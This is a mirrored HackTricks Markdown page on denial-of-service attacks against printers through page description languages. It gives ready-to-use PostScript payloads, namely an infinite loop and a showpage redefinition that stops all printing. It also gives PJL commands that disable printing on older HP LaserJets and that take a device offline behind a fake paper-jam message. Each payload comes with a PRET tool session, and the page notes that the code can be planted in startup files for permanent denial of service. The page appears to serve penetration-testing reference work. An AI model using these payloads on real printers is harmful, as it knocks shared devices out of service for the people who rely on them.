mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 04:23:33 +00:00
92 lines
2.6 KiB
Markdown
92 lines
2.6 KiB
Markdown
# Document Processing
|
||
|
||
Page description languages allowing infinite loops or calculations that require a lot of computing time. Even minimalist languages like [PCL](http://hacking-printers.net/wiki/index.php/PCL) can be used to upload permanent macros or fonts until the available memory is consumed.
|
||
|
||
## PostScript
|
||
|
||
### Infinite loops
|
||
|
||
```
|
||
%!
|
||
{} loop
|
||
```
|
||
|
||
Using [PRET](https://github.com/RUB-NDS/PRET):
|
||
|
||
```
|
||
./pret.py -q printer ps
|
||
Connection to printer established
|
||
|
||
Welcome to the pret shell. Type help or ? to list commands.
|
||
printer:/> hang
|
||
Warning: This command causes an infinite loop rendering the
|
||
device useless until manual restart. Press CTRL+C to abort.
|
||
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
|
||
```
|
||
|
||
### Redefine showpage
|
||
|
||
By setting `showpage` – which is used in every document to actually print the page – to do nothing at all, PostScript jobs are processed they won't print anything.
|
||
|
||
```
|
||
true 0 startjob
|
||
/showpage {} def
|
||
```
|
||
|
||
Using [PRET](https://github.com/RUB-NDS/PRET):
|
||
|
||
```
|
||
./pret.py -q printer ps
|
||
Connection to printer established
|
||
|
||
Welcome to the pret shell. Type help or ? to list commands.
|
||
printer:/> disable
|
||
Disabling printing functionality
|
||
```
|
||
|
||
Both attacks code can also be written into Sys/Start, startup.ps or similar files to cause **permanent DoS** on devices with a writable disk.
|
||
|
||
## PJL
|
||
|
||
### PJL jobmedia
|
||
|
||
Proprietary PJL commands can be used to set the older HP devices like the LaserJet 4k series into service mode and completely disable all printing functionality as shown below:
|
||
|
||
```
|
||
@PJL SET SERVICEMODE=HPBOISEID
|
||
@PJL DEFAULT JOBMEDIA=OFF
|
||
```
|
||
|
||
Using [PRET](https://github.com/RUB-NDS/PRET):
|
||
|
||
```
|
||
./pret.py -q printer pjl
|
||
Connection to printer established
|
||
|
||
Welcome to the pret shell. Type help or ? to list commands.
|
||
printer:/> disable
|
||
Printing functionality: OFF
|
||
```
|
||
|
||
### Offline mode
|
||
|
||
In addition, the PJL standard defines the `OPMSG` command which ‘prompts the printer to display a specified message and go offline’ \cite{hp1997pjl}. This can be used to simulate a paper jam as shown in below:
|
||
|
||
```
|
||
@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"
|
||
```
|
||
|
||
Using [PRET](https://github.com/RUB-NDS/PRET):
|
||
|
||
```
|
||
./pret.py -q printer pjl
|
||
Connection to printer established
|
||
|
||
Welcome to the pret shell. Type help or ? to list commands.
|
||
printer:/> offline "MESSAGE TO DSIPLAY"
|
||
Warning: Taking the printer offline will prevent yourself and others
|
||
from printing or re-connecting to the device. Press CTRL+C to abort.
|
||
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
|
||
```
|
||
|
||
**Learn more about these attacks in** [**http://hacking-printers.net/wiki/index.php/Document\_processing**](http://hacking-printers.net/wiki/index.php/Document\_processing)
|